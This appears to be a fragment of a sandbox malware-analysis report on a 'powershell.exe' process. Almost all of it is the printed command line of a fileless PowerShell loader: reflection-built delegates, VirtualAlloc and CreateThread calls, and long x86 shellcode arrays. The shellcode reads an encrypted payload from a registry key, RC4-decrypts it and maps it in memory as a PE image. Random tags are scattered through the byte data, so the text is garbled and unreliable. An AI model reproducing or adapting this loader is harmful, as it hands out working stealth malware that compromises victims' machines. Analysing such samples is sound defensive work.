<#vl#>0xFF <#xw#>0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x02 0xB3 <#kkv#>0x01 0x84 0xDB 0x75 <#yyd#>0x05 0x6A 0x00 0xFF 0x55 0xA4 0x8B 0x85 0x7C 0xFF 0xFF <#str#>0xFF 0x8B 0x80 0xDC 0x00 0x00 0x00 0x50 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x52 0x50 0x8D 0x85 0x00 0xFA 0xFF 0xFF 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x33 0xF6 0x8D 0x8D 0x00 0xFB 0xFF 0xFF 0x89 0x31 0x46 0x83 0xC1 0x04 0x81 0xFE 0x00 0x01 0x00 0x00 0x75 0xF2 0x33 0xDB 0x33 0xF6 0x8D 0x8D 0x00 0xFB 0xFF 0xFF 0x03 0x19 0x8B 0x85 0x7C 0xFF <#bnl#>0xFF 0xFF 0xFF <#vrh#>0xB0 0xDC 0x00 0x00 0x00 0x8B 0xC6 0x5A 0x8B 0xFA 0x33 0xD2 0xF7 0xF7 0x33 0xC0 <#eu#>0x8A 0x84 0x15 0x00 0xFA 0xFF 0xFF 0x03 0xD8 0x81 0xE3 0xFF 0x00 0x00 0x00 0x8A 0x01 0x8B 0x94 0x9D 0x00 0xFB 0xFF 0xFF 0x89 0x11 0x25 0xFF 0x00 0x00 0x00 0x89 0x84 0x9D 0x00 0xFB 0xFF 0xFF 0x46 0x83 0xC1 0x04 0x81 0xFE 0x00 0x01 0x00 <#iv#>0x00 0x75 0xB5 0x33 0xDB 0x33 0xFF 0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0xFF 0x55 0xA8 0x89 0x85 0x5C 0xFF 0xFF 0xFF 0x83 0xBD 0x5C 0xFF 0xFF 0xFF 0x00 0x74 0x29 0x8B 0x85 0x5C 0xFF 0xFF 0xFF 0x89 0x85 0x4C 0xFF 0xFF 0xFF 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x64 0xFF 0xFF 0xFF 0x50 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0xEB 0x05 0x6A 0x00 0xFF 0x55 0xA4 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x48 0x85 <#lu#>0xC0 0x72 <#ub#>0x74 <#pe#>0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x43 0x81 0xE3 0xFF 0x00 0x00 0x00 0x03 0xBC 0x9D 0x00 0xFB 0xFF 0xFF 0x81 0xE7 0xFF 0x00 0x00 0x00 0x8A 0x84 0x9D 0x00 0xFB 0xFF 0xFF 0x8B <#zj#>0x94 0xBD 0x00 0xFB 0xFF 0xFF 0x89 0x94 0x9D 0x00 0xFB 0xFF 0xFF 0x25 0xFF 0x00 <#jg#>0x00 0x00 0x89 0x84 0xBD 0x00 0xFB 0xFF 0xFF 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x8A 0x04 0x30 0x8B 0x94 0x9D 0x00 0xFB 0xFF 0xFF 0x03 0x94 0xBD 0x00 0xFB 0xFF 0xFF 0x81 0xE2 0xFF 0x00 0x00 0x00 0x32 0x84 0x95 <#vld#>0x00 0xFB 0xFF <#cs#>0xFF 0x8B 0x95 0x4C 0xFF 0xFF 0xFF 0x88 0x04 0x32 <#usr#>0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x75 0x95 0x8B 0x85 0x4C 0xFF 0xFF 0xFF <#kqb#>0x89 0x45 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 <#hdh#>0x4D 0x5A 0x0F 0x85 0xDA 0x02 0x00 0x00 0x8B <#wsk#>0x45 0xD4 0x8B 0x40 0x3C 0x03 0x85 0x4C <#be#>0xFF 0xFF 0xFF 0x89 0x45 0xD0 0x8B 0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xBC <#ed#>0x02 0x00 0x00 0x8B 0x45 <#dj#>0xD0 0x8B 0x58 0x50 0x03 <#ckb#>0xDB <#zrz#>0x6A 0x40 0x68 0x00 0x30 0x00 0x00 0x53 <#jso#>0x6A 0x00 0xFF 0x55 0xA8 <#zy#>0x89 0x45 0xF8 0x83 0x7D <#vwj#>0xF8 0x00 0x0F 0x84 0x9A 0x02 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 0x54 0x50 0x8B <#zuz#>0x85 0x4C 0xFF 0xFF 0xFF 0x50 0x8B <#pfk#>0x45 0xF8 0x50 <#kl#>0xFF 0x95 0x78 0xFF 0xFF 0xFF <#jyv#>0x6A 0x04 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x05 0xE0 0x00 0x00 <#dkg#>0x00 0x50 0x8B 0x45 0xD0 0x8B 0x40 0x50 0x03 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x8B 0x80 0xE0 0x00 0x00 0x00 0x50 0x8B 0x85 0x4C <#fxm#>0xFF 0xFF 0xFF 0x50 0x8B 0x45 0xD0 0x8B 0x40 0x50 0x03 0x45 0xF8 0x83 0xC0 0x04 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x6A 0x60 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x7A 0x50 0x8B 0x45 0xD0 0x8B 0x40 0x50 0x03 <#xd#>0x45 0xF8 0x83 0xC0 0x04 0x8B 0x95 0x7C 0xFF 0xFF 0xFF 0x03 0x82 0xE0 0x00 0x00 0x00 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x45 0xD0 0x0F 0xB7 0x40 0x06 0x48 0x85 0xC0 <#hf#>0x7C 0x5F <#ck#>0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x8B <#gv#>0x55 0xD4 0x8B 0x52 0x3C 0x8B 0x85 0x4C 0xFF 0xFF 0xFF 0x03 <#fec#>0xD0 0x81 0xC2 0xF8 0x00 0x00 0x00 0x8B 0xCE 0xC1 0xE1 0x03 0x8D 0x0C 0x89 0x03 0xD1 0x89 0x95 0x50 0xFF 0xFF 0xFF 0x8B 0x95 0x50 0xFF 0xFF 0xFF 0x8B 0x52 0x10 0x52 0x8B 0x95 <#gf#>0x50 0xFF 0xFF 0xFF 0x8B 0x52 0x14 0x03 0xD0 0x52 0x8B 0x85 0x50 0xFF 0xFF <#xl#>0xFF 0x8B 0x40 0x0C 0x03 0x45 0xF8 <#bhk#>0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x46 0xFF 0x8D 0x3C <#ylw#>0xFF 0xFF 0xFF 0x75 0xAA <#ad#>0x8B 0x45 0xD0 0x8B 0x40 0x34 0x3B 0x45 0xF8 0x0F 0x84 0xCB 0x00 0x00 <#oa#>0x00 0x8B 0x45 <#uk#>0xD0 0x8B 0x55 0xF8 0x2B 0x50 0x34 0x89 0x55 0xD8 0x8B 0x45 0xF8 0x89 0x45 0xF0 <#nhx#>0x8B 0x45 0xD0 0x83 0xB8 0xA4 0x00 0x00 0x00 0x00 0x0F 0x86 0x87 0x00 0x00 0x00 0x8B 0x45 0xD0 0x8B <#cw#>0x80 0xA0 0x00 <#bkp#>0x00 0x00 0x03 0x45 0xF0 <#wff#>0x89 0x45 0xEC 0xEB 0x6E 0x8B 0x45 0xEC 0x8B 0x00 0x03 0x45 0xF0 0x89 0x45 <#ujk#>0xE8 <#ixs#>0x8B 0x45 0xEC 0x83 0xC0 0x08 0x89 0x45 0xE4 0x8B 0x45 0xEC 0x8B 0x40 0x04 0x83 0xE8 <#zau#>0x08 0xD1 0xE8 <#nj#>0x48 0x85 0xC0 <#ly#>0x72 0x3E 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF <#ad#>0x8B 0x45 0xE4 0x66 0x8B <#ges#>0x10 0x0F 0xB7 0xC2 0xC1 0xE8 0x0C 0x8B 0xCA 0x66 0x81 0xE1 0xFF 0x0F 0x0F 0xB7 0xC9 0x83 0xF8 0x03 0x75 0x10 0x8B <#rax#>0x45 0xE8 0x03 0xC1 0x89 0x45 0xE0 0x8B 0x45 0xE0 0x8B 0x55 0xD8 0x01 0x10 0x83 0x45 0xE4 0x02 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x75 0xC9 0x8B 0x45 0xEC 0x8B 0x40 0x04 0x03 0x45 0xEC <#ok#>0x89 0x45 0xEC 0x8B 0x45 0xEC 0x83 <#lk#>0x38 0x00 <#un#>0x77 0x8A <#zo#>0x8B 0x45 0xD0 0x8B 0x55 0xF8 0x89 0x50 0x34 0x68 0xF8 0x00 <#yxk#>0x00 0x00 0x8B 0x45 0xD0 0x50 0x8B 0x45 0xD4 0x8B 0x40 <#efe#>0x3C 0x03 0x45 0xF8 0x50 0xFF 0x95 0x78 0xFF 0xFF 0xFF 0x8B 0x45 0xD0 0x05 <#dp#>0x80 0x00 0x00 0x00 0x89 0x45 0x90 0x8B 0x45 0x90 0x83 0x78 0x04 0x00 0x0F 0x86 0x9E <#afn#>0x00 <#bd#>0x00 0x00 0x8B 0x45 0xD0 <#zzr#>0x8B 0x80 <#fh#>0x80 0x00 0x00 0x00 0x03 0x45 0xF8 0x89 0x45 0x8C 0xEB 0x7F 0x03 0x7D 0xF8 0x57 0xFF <#hde#>0x55 <#cl#>0xBC 0x8B <#cx#>0xD8 0x85 0xDB 0x74 0x72 0x8B 0x45 0x8C 0x83 0x38 0x00 0x74 0x0D 0x8B 0x45 0x8C 0x8B 0x00 0x03 <#ve#>0x45 0xF8 0x89 0x45 0x88 0xEB <#sch#>0x0C 0x8B 0x45 0x8C 0x8B 0x40 0x10 0x03 0x45 <#jlu#>0xF8 0x89 0x45 0x88 0x8B 0x45 0x8C 0x8B 0x40 0x10 0x03 <#mu#>0x45 0xF8 0x89 0x45 0x84 0xEB <#tvi#>0x37 0x8B 0x45 0x88 0x8B 0x30 0xF7 <#prz#>0xC6 0x00 0x00 0x00 0x80 0x74 0x12 0x81 0xE6 0xFF 0xFF 0x00 0x00 0x56 0x53 0xFF 0x55 0xB8 0x8B 0x55 0x84 0x89 0x02 <#tb#>0xEB <#iq#>0x10 <#jyt#>0x03 0x75 0xF8 0x83 0xC6 0x02 0x56 0x53 0xFF 0x55 0xB8 0x8B 0x55 0x84 <#tew#>0x89 0x02 0x83 0x45 0x88 0x04 0x83 0x45 0x84 0x04 0x8B 0x45 0x88 0x83 0x38 0x00 0x75 0xC1 0x83 0x45 0x8C 0x14 0x8B 0x45 <#xfz#>0x8C <#cbx#>0x8B 0x78 0x0C <#zrc#>0x85 0xFF 0x0F 0x85 0x73 0xFF 0xFF 0xFF 0x8B 0x45 <#eh#>0xD0 0x8B 0x40 0x28 0x03 0x45 0xF8 0x89 <#znz#>0x45 0xF4 0x31 0xC0 0x50 0x6A 0x01 0xFF 0x75 <#pr#>0xF8 0xFF 0x55 0xF4 0x6A 0x00 0xFF 0x55 0xA4 0x5F 0x5E 0x5B 0x8B 0xE5 0x5D 0xC2 0x04 0x00 0x8D 0x40 0x00 0x73 0x6F 0x66 0x74 0x77 0x61 0x72 <#yw#>0x65 0x5C <#bq#>0x63 0x6E 0x50 0x39 0x74 0x35 0x5A 0x45 0x00 0x00 0x00 <#nk#>0x00 <#tp#>0x00 0x00 <#ch#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#cst#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 <#fa#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x57 0x43 0x6B <#dvj#>0x67 0x5A 0x4E 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x6D 0x28 0xF6 0x9D 0xBD 0x70 0xA9 0x24 0xD0 0x34 0x6D 0x55 0xF8 0x83 0x78 0x7C 0x79 0x72 0xE8 0x6E 0xB7 0xDD 0x01 0x0F 0xB4 0x56 0x38 0xBB 0x21 0x4F 0x9E 0x00 0x00 0x00 0x00 <#kx#>0x00 0x00 0x00 0x00 0x00 0x73 <#wb#>0x00 0x68 0x00 0x65 0x00 0x6C 0x00 0x6C 0x00 0x3C 0x00 0x3C 0x00 0x3A 0x00 0x3A 0x00 0x3E 0x00 0x3E 0x00 0x73 0x00 0x68 0x00 0x65 0x00 <#qx#>0x6C 0x00 0x6C 0x00 <#bj#>0x62 0x00 0x70 0x00 0x73 0x00 <#jga#>0x3A 0x00 0x3A 0x00 0x62 0x00 0x70 0x00 0x73 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x3A 0x00 0x38 0x00 0x36 0x00 0x34 0x00 0x3A 0x00 0x6E 0x00 0x75 0x00 0x6D 0x00 0x00 0x00 0x00 <#hr#>0x00 0x00 0x00 0x00 0x00 0x00 <#etf#>0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x1F 0x00 0x00 <#ky#>0x00 0x00 0xAA 0x06 0x00 0x55 0x8B 0xEC 0x60 0x8B 0x7D 0x08 <#gtn#>0x8B 0x75 0x0C 0x8B 0x4D 0x10 0xF3 0xA4 0x61 0x5D 0xC2 0x0C 0x00 0xAC 0x12 <#dsu#>0xD2 0xFE 0xFD <#yyf#>0x8C 0xEF 0x90 0x93 0xB9 0xE8 0x05 0x05 0xA0 0x0B <#bqv#>0xBE 0x51 0x50 0xB1 0x52 0x0A <#xtv#>0xCD 0xA6 0x0B 0x72 0xF3 0x99 0x18 0xB5 0xA5 0xF1 0x29 0x70 0xB2 0x49 0x9F 0x22 0x40 0x53 0xB5 0x4F 0x9E 0x0F 0x2A 0x61 0xD8 0x73 0x5E 0x8B 0x6F 0x0B 0xEB 0x4F 0xFB 0x14 0x27 0x56<#wt#>; #lvvwlo $pr=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll VirtualAlloc) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32]) ([UInt32])))).Invoke(0,$sc32.Length,0x3000,0x40); #qgtdftprsm if($pr -ne 0){$memset=([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc msvcrt.dll memset) (gdelegate @([UInt32],[UInt32],[UInt32]) ([IntPtr])))); #lefbm for ($i=0;$i -le ($sc32.Length-1);$i++) {$memset.Invoke(($pr+$i) $sc32[$i] 1)}; #fgakdd ([System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((gproc kernel32.dll CreateThread) (gdelegate @([IntPtr],[UInt32],[UInt32],[UInt32],[UInt32],[IntPtr]) ([IntPtr])))).Invoke(0,0,$pr,$pr,0,0); #vdgsgwt }sleep(1200);}catch{}exit; #zjkvnemqj #kakkngplvklusmfrgecfnnsjlp")31:T4881,Process "powershell.exe" based on artifact "CreateThread" (UID: 00012863-00004380, Additional Context: "#xnpoitpxrxgbgbnnt sleep(15);try{ #jdamygfkjo function gdelegate{ #ydadpj Param ([Parameter(Position=0,Mandatory=$True)] [Type[]] $Parameters [Parameter(Position=1)] [Type] $ReturnType=[Void]); #jywmuihh $TypeBuilder=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName("ReflectedDelegate")) [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule("InMemoryModule",$false).DefineType("XXX","Class,Public,Sealed,AnsiClass,AutoClass",[System.MulticastDelegate]); #kfcxx $TypeBuilder.DefineConstructor("RTSpecialName,HideBySig,Public",[System.Reflection.CallingConventions]::Standard,$Parameters).SetImplementationFlags("Runtime,Managed"); #wmdtoiqjy $TypeBuilder.DefineMethod("Invoke","Public,HideBySig,NewSlot,Virtual",$ReturnType,$Parameters).SetImplementationFlags("Runtime,Managed"); #ntbqrmjtby return $TypeBuilder.CreateType();} #vxdjhj function gproc{ #huqb Param ([Parameter(Position=0,Mandatory=$True)] [String] $Module [Parameter(Position=1,Mandatory=$True)] [String] $Procedure); #zjwtz $SystemAssembly=[AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split("\")[-1].Equals("System.dll")}; #dlyqn $UnsafeNativeMethods=$SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods"); #uxpgpw return $UnsafeNativeMethods.GetMethod("GetProcAddress").Invoke($null,@([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr) $UnsafeNativeMethods.GetMethod("GetModuleHandle").Invoke($null,@($Module)))) $Procedure));} #kklifdr [Byte[]] $sc32 = 0x55 0x8B 0xEC 0x81 0xC4 0x00 0xFA 0xFF 0xFF 0x53 0x56 0x57 0x53 0x56 0x57 0xFC 0x31 0xD2 0x64 0x8B 0x52 0x30 0x8B 0x52 0x0C <#zto#>0x8B 0x52 0x14 0x8B 0x72 0x28 0x6A 0x18 0x59 0x31 0xFF 0x31 0xC0 0xAC 0x3C 0x61 <#rk#>0x7C 0x02 0x2C 0x20 0xC1 0xCF 0x0D 0x01 0xC7 0xE2 0xF0 0x81 <#in#>0xFF <#gtq#>0x5B 0xBC 0x4A <#xs#>0x6A 0x8B 0x5A 0x10 0x8B 0x12 0x75 0xDB 0x89 0x5D 0xFC 0x5F <#kcg#>0x5E <#srl#>0x5B 0x8B 0x45 0xFC 0x89 0x45 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 0x4D 0x5A 0x0F 0x85 0x0F 0x02 0x00 0x00 0x8B 0x45 0xFC 0x33 <#eyq#>0xD2 0x52 0x50 0x8B <#vbo#>0x45 0xD4 0x8B 0x40 <#xlj#>0x3C 0x99 0x03 0x04 0x24 0x13 0x54 0x24 <#kmn#>0x04 0x83 0xC4 0x08 0x89 0x45 0xD0 <#xao#>0x8B 0x45 0xD0 0x81 <#eio#>0x38 0x50 0x45 0x00 0x00 0x0F 0x85 0xE5 0x01 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 0x78 0x03 0x45 0xFC 0x89 0x45 0xCC 0x8B <#aaf#>0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F 0x8C 0xCB 0x01 0x00 0x00 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 0xF6 0x8B <#aq#>0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0x45 0xCC 0x8B 0x40 0x20 0x33 0xD2 0x52 0x50 0x8B <#lv#>0xC6 0xC1 0xE0 0x02 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x03 0x04 0x24 <#rj#>0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x8B 0x08 0x03 0x4D 0xFC 0x81 0x39 0x4C 0x6F 0x61 0x64 0x75 0x56 0x8D <#iu#>0x41 0x04 0x81 0x38 0x4C 0x69 0x62 0x72 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x61 0x72 0x79 0x41 0x75 0x40 0x8D <#if#>0x41 0x0C 0x80 0x38 0x00 <#wr#>0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 <#bi#>0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C <#fs#>0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xBC 0x81 0x39 0x47 0x65 0x74 0x50 0x75 0x56 0x8D 0x41 0x04 0x81 0x38 0x72 0x6F 0x63 0x41 0x75 0x4B 0x8D 0x41 0x08 0x81 0x38 0x64 0x64 <#hb#>0x72 0x65 0x75 0x40 <#jlu#>0x8D 0x41 0x0E 0x80 0x38 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 <#aps#>0x03 0x04 0x24 <#lgz#>0x13 0x54 0x24 0x04 <#wka#>0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xB8 0x81 0x39 0x56 0x69 0x72 0x74 0x75 <#jlc#>0x56 0x8D 0x41 0x04 0x81 0x38 0x75 0x61 0x6C 0x41 0x75 0x4B 0x8D 0x41 <#nj#>0x08 0x81 0x38 0x6C 0x6C 0x6F 0x63 0x75 0x40 0x8D 0x41 0x0C 0x80 0x38 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 <#zj#>0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 <#ef#>0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 0x03 0x45 0xFC 0x89 0x45 0xA8 0x81 0x39 0x45 0x78 0x69 0x74 0x75 0x63 0x8D 0x41 0x04 0x81 0x38 0x50 0x72 0x6F 0x63 0x75 0x58 0x8D 0x41 0x08 0x80 0x38 0x65 0x75 <#utj#>0x50 0x8D 0x41 0x09 0x80 0x38 0x73 0x75 0x48 0x8D 0x41 0x0A 0x80 0x38 0x73 0x75 0x40 <#nap#>0x83 0xC1 0x0B 0x80 0x39 0x00 0x75 0x38 0x8B 0x45 0xCC 0x8B 0x40 0x24 0x03 0x45 0xFC 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 <#yec#>0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B <#asc#>0x52 0x1C 0x03 0x55 0xFC 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 <#sm#>0x8B 0x02 <#btl#>0x03 0x45 0xFC 0x89 0x45 0xA4 0x46 0xFF 0x8D 0x3C 0xFF 0xFF 0xFF 0x0F 0x85 0x3E 0xFE 0xFF 0xFF 0xC6 0x85 0x2F 0xFF 0xFF 0xFF 0x61 <#gz#>0xC6 <#sox#>0x85 0x30 0xFF 0xFF 0xFF 0x64 0xC6 0x85 0x31 0xFF 0xFF 0xFF 0x76 0xC6 0x85 0x32 0xFF 0xFF 0xFF 0x61 0xC6 0x85 0x33 0xFF 0xFF 0xFF 0x70 0xC6 0x85 0x34 0xFF 0xFF 0xFF 0x69 0xC6 0x85 0x35 0xFF 0xFF 0xFF 0x33 0xC6 0x85 0x36 0xFF <#at#>0xFF 0xFF 0x32 0xC6 <#gfu#>0x85 <#rfe#>0x37 0xFF 0xFF 0xFF 0x2E 0xC6 0x85 0x38 0xFF 0xFF 0xFF 0x64 0xC6 0x85 0x39 0xFF 0xFF 0xFF 0x6C 0xC6 0x85 0x3A 0xFF 0xFF 0xFF <#gfy#>0x6C 0xC6 0x85 0x3B 0xFF <#nmu#>0xFF 0xFF 0x00 <#xid#>0x8D 0x85 <#btr#>0x2F 0xFF 0xFF 0xFF 0x50 0xFF <#aj#>0x55 0xBC 0x8B 0xD8 0x85 0xDB 0x75 0x05 0x6A 0x00 0xFF 0x55 0xA4 0x89 0x5D 0xD4 0x8B 0x45 0xD4 0x66 0x81 0x38 0x4D 0x5A 0x0F 0x85 0x4F 0x01 0x00 0x00 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xD4 0x8B <#zxe#>0x40 0x3C 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x89 0x45 0xD0 0x8B <#orx#>0x45 0xD0 0x81 0x38 0x50 0x45 0x00 0x00 0x0F 0x85 <#vc#>0x26 0x01 0x00 0x00 0x8B 0x45 0xD0 0x8B 0x40 <#rv#>0x78 0x03 0xC3 0x89 0x45 0xCC 0x8B 0x45 0xCC 0x8B 0x40 0x18 0x85 0xC0 0x0F 0x8C 0x0D 0x01 0x00 0x00 0x40 0x89 0x85 0x3C 0xFF 0xFF 0xFF 0x33 <#laz#>0xF6 0x8B 0xC3 0x33 0xD2 0x52 0x50 0x8B 0x45 0xCC 0x8B 0x40 0x20 0x33 0xD2 0x52 0x50 0x8B 0xC6 0xC1 0xE0 0x02 0x99 <#qj#>0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x8B 0x08 0x03 0xCB 0x81 0x39 0x52 0x65 0x67 0x4F 0x75 0x5B 0x8D 0x41 0x04 0x81 0x38 0x70 0x65 0x6E 0x4B 0x75 0x50 <#th#>0x8D 0x41 0x08 0x81 <#ubr#>0x38 0x65 0x79 0x45 0x78 0x75 0x45 <#lfg#>0x8D 0x41 0x0C 0x80 0x38 0x41 <#tqb#>0x75 0x3D 0x8D 0x41 <#it#>0x0D 0x80 0x38 <#thz#>0x00 0x75 0x35 <#zok#>0x8B 0x45 <#ic#>0xCC 0x8B 0x40 0x24 0x03 0xC3 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 <#xdi#>0xD3 0x0F 0xB7 0xC0 0xC1 0xE0 0x02 0x03 0xD0 0x8B 0x02 <#oot#>0x03 0xC3 0x89 0x45 0xB0 0x81 <#zax#>0x39 0x52 0x65 0x67 0x51 0x75 0x5E 0x8D 0x41 0x04 0x81 0x38 0x75 0x65 0x72 0x79 0x75 0x53 0x8D 0x41 0x08 0x81 0x38 <#ea#>0x56 0x61 0x6C 0x75 0x75 0x48 <#ser#>0x8D 0x41 0x0C 0x81 0x38 0x65 0x45 <#sd#>0x78 0x41 0x75 <#qkj#>0x3D 0x83 0xC1 0x10 0x80 0x39 0x00 0x75 0x35 0x8B 0x45 0xCC 0x8B 0x40 0x24 <#lxu#>0x03 0xC3 0x33 0xD2 0x52 0x50 0x8B 0xC6 0x03 0xC0 0x99 0x03 0x04 0x24 0x13 0x54 0x24 0x04 0x83 0xC4 0x08 0x66 0x8B 0x00 0x8B 0x55 0xCC 0x8B 0x52 0x1C 0x03 <#fwr#>0xD3 0x0F <#wgd#>0xB7 0xC0 0xC1 0xE0 0x02 <#dp#>0x03 <#vwq#>0xD0 0x8B 0x02 0x03 0xC3 0x89 0x45 0xAC 0x46 0xFF <#jea#>0x8D <#kh#>0x3C 0xFF <#na#>0xFF 0xFF 0x0F 0x85 0xFC 0xFE 0xFF 0xFF 0x8B 0x45 0x08 0x05 0x48 0x0A 0x00 0x00 0x89 <#dlt#>0x85 0x7C 0xFF 0xFF 0xFF 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x05 0xE4 <#cn#>0x00 0x00 0x00 0x89 0x85 0x78 0xFF 0xFF 0xFF 0x33 0xDB 0x33 0xC0 0x89 0x85 0x64 0xFF 0xFF 0xFF 0x33 0xC0 0x89 0x85 <#ghk#>0x60 0xFF 0xFF 0xFF 0x8D 0x85 0x70 0xFF 0xFF 0xFF 0x50 0x6A 0x01 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF <#gx#>0x50 0x68 0x02 0x00 0x00 0x80 0xFF 0x55 0xB0 0x85 0xC0 0x0F 0x85 0x86 0x00 0x00 0x00 0x8D 0x85 0x60 0xFF 0xFF <#jo#>0xFF 0x50 0x6A 0x00 0x8D 0x85 0x6C 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 <#kov#>0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x5C 0x83 <#ppc#>0xBD 0x60 0xFF 0xFF 0xFF 0x64 0x76 0x53 <#ye#>0x6A 0x40 0x68 <#bvo#>0x00 0x30 0x00 0x00 0x8B 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x6A 0x00 0xFF 0x55 0xA8 0x89 0x85 <#kly#>0x64 0xFF 0xFF 0xFF <#cj#>0x83 <#uuj#>0xBD 0x64 0xFF 0xFF 0xFF 0x00 0x74 0x31 0x8D 0x85 0x60 0xFF 0xFF 0xFF 0x50 0x8B <#oya#>0x85 0x64 0xFF 0xFF <#jwk#>0xFF 0x50 <#uv#>0x8D 0x85 0x6C 0xFF 0xFF 0xFF <#jvk#>0x50 <#olx#>0x6A 0x00 0x8B 0x85 0x7C 0xFF 0xFF 0xFF 0x83 0xC0 0x41 0x50 0x8B 0x85 0x70 0xFF 0xFF 0xFF 0x50 0xFF 0x55 0xAC 0x85 0xC0 0x75 0x02 0xB3 0x01 0x33 0xC0 0x89 0x85 0x70 0xFF 0xFF 0xFF 0x84 0xDB 0x0F 0x85 0xB8 0x00 <#qjq#>0x00 0x00 0x33 0xC0 0x89 0x85 0x64 0xFF 0xFF 0xFF 0x33 0xC0 0x89 0x85 0x60 0xFF 0xFF 0xFF 0x8D 0x85 0x70 0xFF 0xFF 0xFF 0x50 